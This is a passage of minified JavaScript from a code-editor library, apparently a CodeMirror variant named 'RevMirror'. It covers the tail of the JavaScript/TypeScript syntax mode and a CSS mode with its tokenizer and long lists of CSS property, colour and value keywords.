d"==e?M.stream.match(/^\s*$/,!1)?A():A(O("stat"),F,S(";"),P):"debugger"==e?A(S(";")):"{"==e?A(O("}"),C,ie,P,q):";"==e?A():"if"==e?("else"==M.state.lexical.info&&M.state.cc[M.state.cc.length-1]==P&&M.state.cc.pop()(),A(O("form"),W,N,P,ge)):"function"==e?A(ze):"for"==e?A(O("form"),je,N,P):"class"==e||u&&"interface"==t?(M.marked="keyword",A(O("form"),$e,P)):"variable"==e?u&&"declare"==t?(M.marked="keyword",A(N)):u&&("module"==t||"enum"==t||"type"==t)&&M.stream.match(/^\s*\w/,!1)?(M.marked="keyword","enum"==t?A(Fe):"type"==t?A(ue,S("operator"),ue,S(";")):A(O("form"),we,S("{"),O("}"),ie,P,P)):u&&"namespace"==t?(M.marked="keyword",A(O("form"),B,ie,P)):u&&"abstract"==t?(M.marked="keyword",A(N)):A(O("stat"),Z):"switch"==e?A(O("form"),W,S("{"),O("}","switch"),C,ie,P,P,q):"case"==e?A(B,S(":")):"default"==e?A(S(":")):"catch"==e?A(O("form"),$,U,N,P,q):"export"==e?A(O("stat"),Pe,P):"import"==e?A(O("stat"),Ne,P):"async"==e?A(N):"@"==t?A(B,N):V(O("stat"),B,S(";"),P)}function U(e){if("("==e)return A(Ie,S(")"))}function B(e,t){return D(e,t,!1)}function H(e,t){return D(e,t,!0)}function W(e){return"("!=e?V():A(O(")"),B,S(")"),P)}function D(e,t,r){if(M.state.fatArrowAt==M.stream.start){var n=r?R:Q;if("("==e)return A($,O(")"),ne(Ie,")"),P,S("=>"),n,q);if("variable"==e)return V($,we,S("=>"),n,q)}var a,i=r?J:G;return h.hasOwnProperty(e)?A(i):"function"==e?A(ze,i):"class"==e||u&&"interface"==t?(M.marked="keyword",A(O("form"),Te,P)):"keyword c"==e||"async"==e?A(r?H:B):"("==e?A(O(")"),F,S(")"),P,i):"operator"==e||"spread"==e?A(r?H:B):"["==e?A(O("]"),De,P,i):"{"==e?ae(ee,"}",null,i):"quasi"==e?V(K,i):"new"==e?A((a=r,function(e){return"."==e?A(a?Y:X):"variable"==e&&u?A(me,a?J:G):V(a?H:B)})):"import"==e?A(B):A()}function F(e){return e.match(/[;\}\)\],]/)?V():V(B)}function G(e,t){return","==e?A(B):J(e,t,!1)}function J(e,t,r){var n=0==r?G:J,a=0==r?B:H;return"=>"==e?A($,r?R:Q,q):"operator"==e?/\+\+|--/.test(t)||u&&"!"==t?A(n):u&&"<"==t&&M.stream.match(/^([^>]|<.*?>)*>\s*\(/,!1)?A(O(">"),ne(ue,">"),P,n):"?"==t?A(B,S(":"),a):A(a):"quasi"==e?V(K,n):";"!=e?"("==e?ae(H,")","call",n):"."==e?A(_,n):"["==e?A(O("]"),F,S("]"),P,n):u&&"as"==t?(M.marked="keyword",A(ue,n)):"regexp"==e?(M.state.lastType=M.marked="operator",M.stream.backUp(M.stream.pos-M.stream.start-1),A(a)):void 0:void 0}function K(e,t){return"quasi"!=e?V():"${"!=t.slice(t.length-2)?A(K):A(B,L)}function L(e){if("}"==e)return M.marked="string-2",M.state.tokenize=b,A(K)}function Q(e){return i(M.stream,M.state),V("{"==e?N:B)}function R(e){return i(M.stream,M.state),V("{"==e?N:H)}function X(e,t){if("target"==t)return M.marked="keyword",A(G)}function Y(e,t){if("target"==t)return M.marked="keyword",A(J)}function Z(e){return":"==e?A(P,N):V(G,S(";"),P)}function _(e){if("variable"==e)return M.marked="property",A()}function ee(e,t){if("async"==e)return M.marked="property",A(ee);if("variable"==e||"keyword"==M.style){return M.marked="property","get"==t||"set"==t?A(te):(u&&M.state.fatArrowAt==M.stream.start&&(r=M.stream.match(/^\s*:\s*/,!1))&&(M.state.fatArrowAt=M.stream.pos+r[0].length),A(re));var r}else{if("number"==e||"string"==e)return M.marked=o?"property":M.style+" property",A(re);if("jsonld-keyword"==e)return A(re);if(u&&z(t))return M.marked="keyword",A(ee);if("["==e)return A(B,oe,S("]"),re);if("spread"==e)return A(H,re);if("*"==t)return M.marked="keyword",A(ee);if(":"==e)return V(re)}}function te(e){return"variable"!=e?V(re):(M.marked="property",A(ze))}function re(e){return":"==e?A(H):"("==e?V(ze):void 0}function ne(n,a,i){function o(e,t){if(i?-1<i.indexOf(e):","==e){var r=M.state.lexical;return"call"==r.info&&(r.pos=(r.pos||0)+1),A(function(e,t){return e==a||t==a?V():V(n)},o)}return e==a||t==a?A():A(S(a))}return function(e,t){return e==a||t==a?A():V(n,o)}}function ae(e,t,r){for(var n=3;n<arguments.length;n++)M.cc.push(arguments[n]);return A(O(t,r),ne(e,t),P)}function ie(e){return"}"==e?A():V(N,ie)}function oe(e,t){if(u){if(":"==e)return A(ue);if("?"==t)return A(oe)}}function ce(e){if(u&&":"==e)return M.stream.match(/^\s*\w+\s+is\b/,!1)?A(B,se,ue):A(ue)}function se(e,t){if("is"==t)return M.marked="keyword",A()}function ue(e,t){return"keyof"==t||"typeof"==t?(M.marked="keyword",A("keyof"==t?ue:H)):"variable"==e||"void"==t?(M.marked="type",A(pe)):"string"==e||"number"==e||"atom"==e?A(pe):"["==e?A(O("]"),ne(ue,"]",","),P,pe):"{"==e?A(O("}"),ne(le,"}",",;"),P,pe):"("==e?A(ne(de,")"),fe):"<"==e?A(ne(ue,">"),ue):void 0}function fe(e){if("=>"==e)return A(ue)}function le(e,t){return"variable"==e||"keyword"==M.style?(M.marked="property",A(le)):"?"==t?A(le):":"==e?A(ue):"["==e?A(B,oe,S("]"),le):void 0}function de(e,t){return"variable"==e&&M.stream.match(/^\s*[?:]/,!1)||"?"==t?A(de):":"==e?A(ue):V(ue)}function pe(e,t){return"<"==t?A(O(">"),ne(ue,">"),P,pe):"|"==t||"."==e||"&"==t?A(ue):"["==e?A(S("]"),pe):"extends"==t||"implements"==t?(M.marked="keyword",A(ue)):void 0}function me(e,t){if("<"==t)return A(O(">"),ne(ue,">"),P,pe)}function ve(){return V(ue,ke)}function ke(e,t){if("="==t)return A(ue)}function ye(e,t){return"enum"==t?(M.marked="keyword",A(Fe)):V(we,oe,xe,he)}function we(e,t){return u&&z(t)?(M.marked="keyword",A(we)):"variable"==e?(r(t),A()):"spread"==e?A(we):"["==e?ae(we,"]"):"{"==e?ae(be,"}"):void 0}function be(e,t){return"variable"!=e||M.stream.match(/^\s*:/,!1)?("variable"==e&&(M.marked="property"),"spread"==e?A(we):"}"==e?V():A(S(":"),we,xe)):(r(t),A(xe))}function xe(e,t){if("="==t)return A(H)}function he(e){if(","==e)return A(ye)}function ge(e,t){if("keyword b"==e&&"else"==t)return A(O("form","else"),N,P)}function je(e,t){return"await"==t?A(je):"("==e?A(O(")"),Me,S(")"),P):void 0}function Me(e){return"var"==e?A(ye,S(";"),Ae):";"==e?A(Ae):"variable"==e?A(Ve):V(B,S(";"),Ae)}function Ve(e,t){return"in"==t||"of"==t?(M.marked="keyword",A(B)):A(G,Ae)}function Ae(e,t){return";"==e?A(Ee):"in"==t||"of"==t?(M.marked="keyword",A(B)):V(B,S(";"),Ee)}function Ee(e){")"!=e&&A(B)}function ze(e,t){return"*"==t?(M.marked="keyword",A(ze)):"variable"==e?(r(t),A(ze)):"("==e?A($,O(")"),ne(Ie,")"),P,ce,N,q):u&&"<"==t?A(O(">"),ne(ve,">"),P,ze):void 0}function Ie(e,t){return"@"==t&&A(B,Ie),"spread"==e?A(Ie):u&&z(t)?(M.marked="keyword",A(Ie)):V(we,oe,xe)}function Te(e,t){return"variable"==e?$e(e,t):Ce(e,t)}function $e(e,t){if("variable"==e)return r(t),A(Ce)}function Ce(e,t){return"<"==t?A(O(">"),ne(ve,">"),P,Ce):"extends"==t||"implements"==t||u&&","==e?("implements"==t&&(M.marked="keyword"),A(u?ue:B,Ce)):"{"==e?A(O("}"),qe,P):void 0}function qe(e,t){return"async"==e||"variable"==e&&("static"==t||"get"==t||"set"==t||u&&z(t))&&M.stream.match(/^\s+[\w$\xa1-\uffff]/,!1)?(M.marked="keyword",A(qe)):"variable"==e||"keyword"==M.style?(M.marked="property",A(u?Oe:ze,qe)):"["==e?A(B,oe,S("]"),u?Oe:ze,qe):"*"==t?(M.marked="keyword",A(qe)):";"==e?A(qe):"}"==e?A():"@"==t?A(B,qe):void 0}function Oe(e,t){return"?"==t?A(Oe):":"==e?A(ue,xe):"="==t?A(H):V(ze)}function Pe(e,t){return"*"==t?(M.marked="keyword",A(We,S(";"))):"default"==t?(M.marked="keyword",A(B,S(";"))):"{"==e?A(ne(Se,"}"),We,S(";")):V(N)}function Se(e,t){return"as"==t?(M.marked="keyword",A(S("variable"))):"variable"==e?V(H,Se):void 0}function Ne(e){return"string"==e?A():"("==e?V(B):V(Ue,Be,We)}function Ue(e,t){return"{"==e?ae(Ue,"}"):("variable"==e&&r(t),"*"==t&&(M.marked="keyword"),A(He))}function Be(e){if(","==e)return A(Ue,Be)}function He(e,t){if("as"==t)return M.marked="keyword",A(Ue)}function We(e,t){if("from"==t)return M.marked="keyword",A(B)}function De(e){return"]"==e?A():V(ne(H,"]"))}function Fe(){return V(O("form"),we,S("{"),O("}"),ne(Ge,"}"),P,P)}function Ge(){return V(we,xe)}function Je(e,t,r){return t.tokenize==y&&/^(?:operator|sof|keyword [bcd]|case|new|export|default|spread|[\[{}\(,;:]|=>)$/.test(t.lastType)||"quasi"==t.lastType&&/\{\s*$/.test(e.string.slice(0,e.pos-(r||0)))}return P.lex=q.lex=!0,{startState:function(e){var t={tokenize:y,lastType:"sof",cc:[],lexical:new g((e||0)-d,0,"block",!1),localVars:l.localVars,context:l.localVars&&new I(null,null,!1),indented:e||0};return l.globalVars&&"object"==typeof l.globalVars&&(t.globalVars=l.globalVars),t},token:function(e,t){if(e.sol()&&(t.lexical.hasOwnProperty("align")||(t.lexical.align=!1),t.indented=e.indentation(),i(e,t)),t.tokenize!=w&&e.eatSpace())return null;var r=t.tokenize(e,t);return"comment"==n?r:(t.lastType="operator"!=n||"++"!=a&&"--"!=a?n:"incdec",function(e,t,r,n,a){var i=e.cc;for(M.state=e,M.stream=a,M.marked=null,M.cc=i,M.style=t,e.lexical.hasOwnProperty("align")||(e.lexical.align=!0);;)if((i.length?i.pop():c?B:N)(r,n)){for(;i.length&&i[i.length-1].lex;)i.pop()();return M.marked?M.marked:"variable"==r&&j(e,n)?"variable-2":t}}(t,r,n,a,e))},indent:function(e,t){if(e.tokenize==w)return Ke.Pass;if(e.tokenize!=y)return 0;var r,n=t&&t.charAt(0),a=e.lexical;if(!/^\s*else\b/.test(t))for(var i=e.cc.length-1;0<=i;--i){var o=e.cc[i];if(o==P)a=a.prev;else if(o!=ge)break}for(;("stat"==a.type||"form"==a.type)&&("}"==n||(r=e.cc[e.cc.length-1])&&(r==G||r==J)&&!/^[,\.=+\-*:?[\(]/.test(t));)a=a.prev;p&&")"==a.type&&"stat"==a.prev.type&&(a=a.prev);var c,s,u=a.type,f=n==u;return"vardef"==u?a.indented+("operator"==e.lastType||","==e.lastType?a.info.length+1:0):"form"==u&&"{"==n?a.indented:"form"==u?a.indented+d:"stat"==u?a.indented+(s=t,"operator"==(c=e).lastType||","==c.lastType||m.test(s.charAt(0))||/[,.]/.test(s.charAt(0))?p||d:0):"switch"!=a.info||f||0==l.doubleIndentSwitch?a.align?a.column+(f?0:1):a.indented+(f?0:d):a.indented+(/^(?:case|default)\b/.test(t)?d:2*d)},electricInput:/^\s*(?:case .*?:|default:|\{|\})$/,blockCommentStart:c?null:"/*",blockCommentEnd:c?null:"*/",blockCommentContinue:c?null:" * ",lineComment:c?null:"//",fold:"brace",closeBrackets:"()[]{}''\"\"``",helperType:c?"json":"javascript",jsonldMode:o,jsonMode:c,expressionAllowed:Je,skipExpression:function(e){var t=e.cc[e.cc.length-1];t!=B&&t!=H||e.cc.pop()}}}),Ke.registerHelper("wordChars","javascript",/[\w$]/),Ke.defineMIME("text/javascript","javascript"),Ke.defineMIME("text/ecmascript","javascript"),Ke.defineMIME("application/javascript","javascript"),Ke.defineMIME("application/x-javascript","javascript"),Ke.defineMIME("application/ecmascript","javascript"),Ke.defineMIME("application/json",{name:"javascript",json:!0}),Ke.defineMIME("application/x-json",{name:"javascript",json:!0}),Ke.defineMIME("application/ld+json",{name:"javascript",jsonld:!0}),Ke.defineMIME("text/typescript",{name:"javascript",typescript:!0}),Ke.defineMIME("application/typescript",{name:"javascript",typescript:!0})});
!function(e){"object"==typeof exports&&"object"==typeof module?e(require("../../lib/RevMirror")):"function"==typeof define&&define.amd?define(["../../lib/RevMirror"],e):e(RevMirror)}(function(T){"use strict";function e(e){for(var t={},r=0;r<e.length;++r)t[e[r].toLowerCase()]=!0;return t}T.defineMode("css",function(e,t){var r=t.inline;t.propertyKeywords||(t=T.resolveMode("text/css"));var o,i,a=e.indentUnit,n=t.tokenHooks,l=t.documentTypes||{},s=t.mediaTypes||{},c=t.mediaFeatures||{},d=t.mediaValueKeywords||{},p=t.propertyKeywords||{},u=t.nonStandardPropertyKeywords||{},m=t.fontProperties||{},h=t.counterDescriptors||{},g=t.colorKeywords||{},b=t.valueKeywords||{},f=t.allowNested,y=t.lineComment,w=!0===t.supportsAtComponent;function k(e,t){return o=t,e}function v(i){return function(e,t){for(var r,o=!1;null!=(r=e.next());){if(r==i&&!o){")"==i&&e.backUp(1);break}o=!o&&"\\"==r}return(r==i||!o&&")"!=i)&&(t.tokenize=null),k("string","string")}}function x(e,t){return e.next(),e.match(/\s*[\"\')]/,!1)?t.tokenize=null:t.tokenize=v(")"),k(null,"(")}function z(e,t,r){this.type=e,this.indent=t,this.prev=r}function j(e,t,r,o){return e.context=new z(r,t.indentation()+(!1===o?0:a),e.context),r}function q(e){return e.context.prev&&(e.context=e.context.prev),e.context.type}function P(e,t,r){return B[r.context.type](e,t,r)}function K(e,t,r,o){for(var i=o||1;0<i;i--)r.context=r.context.prev;return P(e,t,r)}function C(e){var t=e.current().toLowerCase();i=b.hasOwnProperty(t)?"atom":g.hasOwnProperty(t)?"keyword":"variable"}var B={top:function(e,t,r){if("{"==e)return j(r,t,"block");if("}"==e&&r.context.prev)return q(r);if(w&&/@component/i.test(e))return j(r,t,"atComponentBlock");if(/^@(-moz-)?document$/i.test(e))return j(r,t,"documentTypes");if(/^@(media|supports|(-moz-)?document|import)$/i.test(e))return j(r,t,"atBlock");if(/^@(font-face|counter-style)/i.test(e))return r.stateArg=e,"restricted_atBlock_before";if(/^@(-(moz|ms|o|webkit)-)?keyframes$/i.test(e))return"keyframes";if(e&&"@"==e.charAt(0))return j(r,t,"at");if("hash"==e)i="builtin";else if("word"==e)i="tag";else{if("variable-definition"==e)return"maybeprop";if("interpolation"==e)return j(r,t,"interpolation");if(":"==e)return"pseudo";if(f&&"("==e)return j(r,t,"parens")}return r.context.type},block:function(e,t,r){if("word"==e){var o=t.current().toLowerCase();return p.hasOwnProperty(o)?(i="property","maybeprop"):u.hasOwnProperty(o)?(i="string-2","maybeprop"):f?(i=t.match(/^\s*:(?:\s|$)/,!1)?"property":"tag","block"):(i+=" error","maybeprop")}return"meta"==e?"block":f||"hash"!=e&&"qualifier"!=e?B.top(e,t,r):(i="error","block")},maybeprop:function(e,t,r){return":"==e?j(r,t,"prop"):P(e,t,r)},prop:function(e,t,r){if(";"==e)return q(r);if("{"==e&&f)return j(r,t,"propBlock");if("}"==e||"{"==e)return K(e,t,r);if("("==e)return j(r,t,"parens");if("hash"!=e||/^#([0-9a-fA-f]{3,4}|[0-9a-fA-f]{6}|[0-9a-fA-f]{8})$/.test(t.current())){if("word"==e)C(t);else if("interpolation"==e)return j(r,t,"interpolation")}else i+=" error";return"prop"},propBlock:function(e,t,r){return"}"==e?q(r):"word"==e?(i="property","maybeprop"):r.context.type},parens:function(e,t,r){return"{"==e||"}"==e?K(e,t,r):")"==e?q(r):"("==e?j(r,t,"parens"):"interpolation"==e?j(r,t,"interpolation"):("word"==e&&C(t),"parens")},pseudo:function(e,t,r){return"meta"==e?"pseudo":"word"==e?(i="variable-3",r.context.type):P(e,t,r)},documentTypes:function(e,t,r){return"word"==e&&l.hasOwnProperty(t.current())?(i="tag",r.context.type):B.atBlock(e,t,r)},atBlock:function(e,t,r){if("("==e)return j(r,t,"atBlock_parens");if("}"==e||";"==e)return K(e,t,r);if("{"==e)return q(r)&&j(r,t,f?"block":"top");if("interpolation"==e)return j(r,t,"interpolation");if("word"==e){var o=t.current().toLowerCase();i="only"==o||"not"==o||"and"==o||"or"==o?"keyword":s.hasOwnProperty(o)?"attribute":c.hasOwnProperty(o)?"property":d.hasOwnProperty(o)?"keyword":p.hasOwnProperty(o)?"property":u.hasOwnProperty(o)?"string-2":b.hasOwnProperty(o)?"atom":g.hasOwnProperty(o)?"keyword":"error"}return r.context.type},atComponentBlock:function(e,t,r){return"}"==e?K(e,t,r):"{"==e?q(r)&&j(r,t,f?"block":"top",!1):("word"==e&&(i="error"),r.context.type)},atBlock_parens:function(e,t,r){return")"==e?q(r):"{"==e||"}"==e?K(e,t,r,2):B.atBlock(e,t,r)},restricted_atBlock_before:function(e,t,r){return"{"==e?j(r,t,"restricted_atBlock"):"word"==e&&"@counter-style"==r.stateArg?(i="variable","restricted_atBlock_before"):P(e,t,r)},restricted_atBlock:function(e,t,r){return"}"==e?(r.stateArg=null,q(r)):"word"==e?(i="@font-face"==r.stateArg&&!m.hasOwnProperty(t.current().toLowerCase())||"@counter-style"==r.stateArg&&!h.hasOwnProperty(t.current().toLowerCase())?"error":"property","maybeprop"):"restricted_atBlock"},keyframes:function(e,t,r){return"word"==e?(i="variable","keyframes"):"{"==e?j(r,t,"top"):P(e,t,r)},at:function(e,t,r){return";"==e?q(r):"{"==e||"}"==e?K(e,t,r):("word"==e?i="tag":"hash"==e&&(i="builtin"),"at")},interpolation:function(e,t,r){return"}"==e?q(r):"{"==e||";"==e?K(e,t,r):("word"==e?i="variable":"variable"!=e&&"("!=e&&")"!=e&&(i="error"),"interpolation")}};return{startState:function(e){return{tokenize:null,state:r?"block":"top",stateArg:null,context:new z(r?"block":"top",e||0,null)}},token:function(e,t){if(!t.tokenize&&e.eatSpace())return null;var r=(t.tokenize||function(e,t){var r=e.next();if(n[r]){var o=n[r](e,t);if(!1!==o)return o}return"@"==r?(e.eatWhile(/[\w\\\-]/),k("def",e.current())):"="==r||("~"==r||"|"==r)&&e.eat("=")?k(null,"compare"):'"'==r||"'"==r?(t.tokenize=v(r),t.tokenize(e,t)):"#"==r?(e.eatWhile(/[\w\\\-]/),k("atom","hash")):"!"==r?(e.match(/^\s*\w*/),k("keyword","important")):/\d/.test(r)||"."==r&&e.eat(/\d/)?(e.eatWhile(/[\w.%]/),k("number","unit")):"-"!==r?/[,+>*\/]/.test(r)?k(null,"select-op"):"."==r&&e.match(/^-?[_a-z][_a-z0-9-]*/i)?k("qualifier","qualifier"):/[:;{}\[\]\(\)]/.test(r)?k(null,r):("u"==r||"U"==r)&&e.match(/rl(-prefix)?\(/i)||("d"==r||"D"==r)&&e.match("omain(",!0,!0)||("r"==r||"R"==r)&&e.match("egexp(",!0,!0)?(e.backUp(1),t.tokenize=x,k("property","word")):/[\w\\\-]/.test(r)?(e.eatWhile(/[\w\\\-]/),k("property","word")):k(null,null):/[\d.]/.test(e.peek())?(e.eatWhile(/[\w.%]/),k("number","unit")):e.match(/^-[\w\\\-]+/)?(e.eatWhile(/[\w\\\-]/),e.match(/^\s*:/,!1)?k("variable-2","variable-definition"):k("variable-2","variable")):e.match(/^\w+-/)?k("meta","meta"):void 0})(e,t);return r&&"object"==typeof r&&(o=r[1],r=r[0]),i=r,"comment"!=o&&(t.state=B[t.state](o,e,t)),i},indent:function(e,t){var r=e.context,o=t&&t.charAt(0),i=r.indent;return"prop"!=r.type||"}"!=o&&")"!=o||(r=r.prev),r.prev&&("}"!=o||"block"!=r.type&&"top"!=r.type&&"interpolation"!=r.type&&"restricted_atBlock"!=r.type?(")"!=o||"parens"!=r.type&&"atBlock_parens"!=r.type)&&("{"!=o||"at"!=r.type&&"atBlock"!=r.type)||(i=Math.max(0,r.indent-a)):i=(r=r.prev).indent),i},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",blockCommentContinue:" * ",lineComment:y,fold:"brace"}});var t=["domain","regexp","url","url-prefix"],r=e(t),o=["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"],i=e(o),a=["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid","orientation","device-pixel-ratio","min-device-pixel-ratio","max-device-pixel-ratio","pointer","any-pointer","hover","any-hover"],n=e(a),l=["landscape","portrait","none","coarse","fine","on-demand","hover","interlace","progressive"],s=e(l),c=["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-blend-mode","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","caret-color","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-rows","grid-column","grid-column-end","grid-column-gap","grid-column-start","grid-gap","grid-row","grid-row-end","grid-row-gap","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","justify-items","justify-self","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","place-content","place-items","place-self","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","user-select","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","will-change","word-break","word-spacing","word-wrap","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode"],d=e(c),p=["scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-3d-light-color","scrollbar-track-color","shape-inside","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","zoom"],u=e(p),m=e(["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"]),h=e(["additive-symbols","fallback","negative","pad","prefix","range","speak-as","suffix","symbols","system"]),g=["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],b=e(g),f=["above","absolute","activeborder","additive","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alphabetic","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","attr","auto","auto-flow","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","bullets","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","calc","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-decimal","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","color","color-burn","color-dodge","column","column-reverse","compact","condensed","contain","content","contents","content-box","context-menu","continuous","copy","counter","counters","cover","crop","cross","crosshair","currentcolor","cursive","cyclic","darken","dashed","decimal","decimal-leading-zero","default","default-button","dense","destination-atop","destination-in","destination-out","destination-over","devanagari","difference","disc","discard","disclosure-closed","disclosure-open","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ethiopic-numeric","ew-resize","exclusion","expanded","extends","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","flex","flex-end","flex-start","footnotes","forwards","from","geometricPrecision","georgian","graytext","grid","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hard-light","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","hue","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-flex","inline-grid","inline-table","inset","inside","intrinsic","invert","italic","japanese-formal","japanese-informal","justify","kannada","katakana","katakana-iroha","keep-all","khmer","korean-hangul-formal","korean-hanja-formal","korean-hanja-informal","landscape","lao","large","larger","left","level","lighter","lighten","line-through","linear","linear-gradient","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","luminosity","malayalam","match","matrix","matrix3d","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek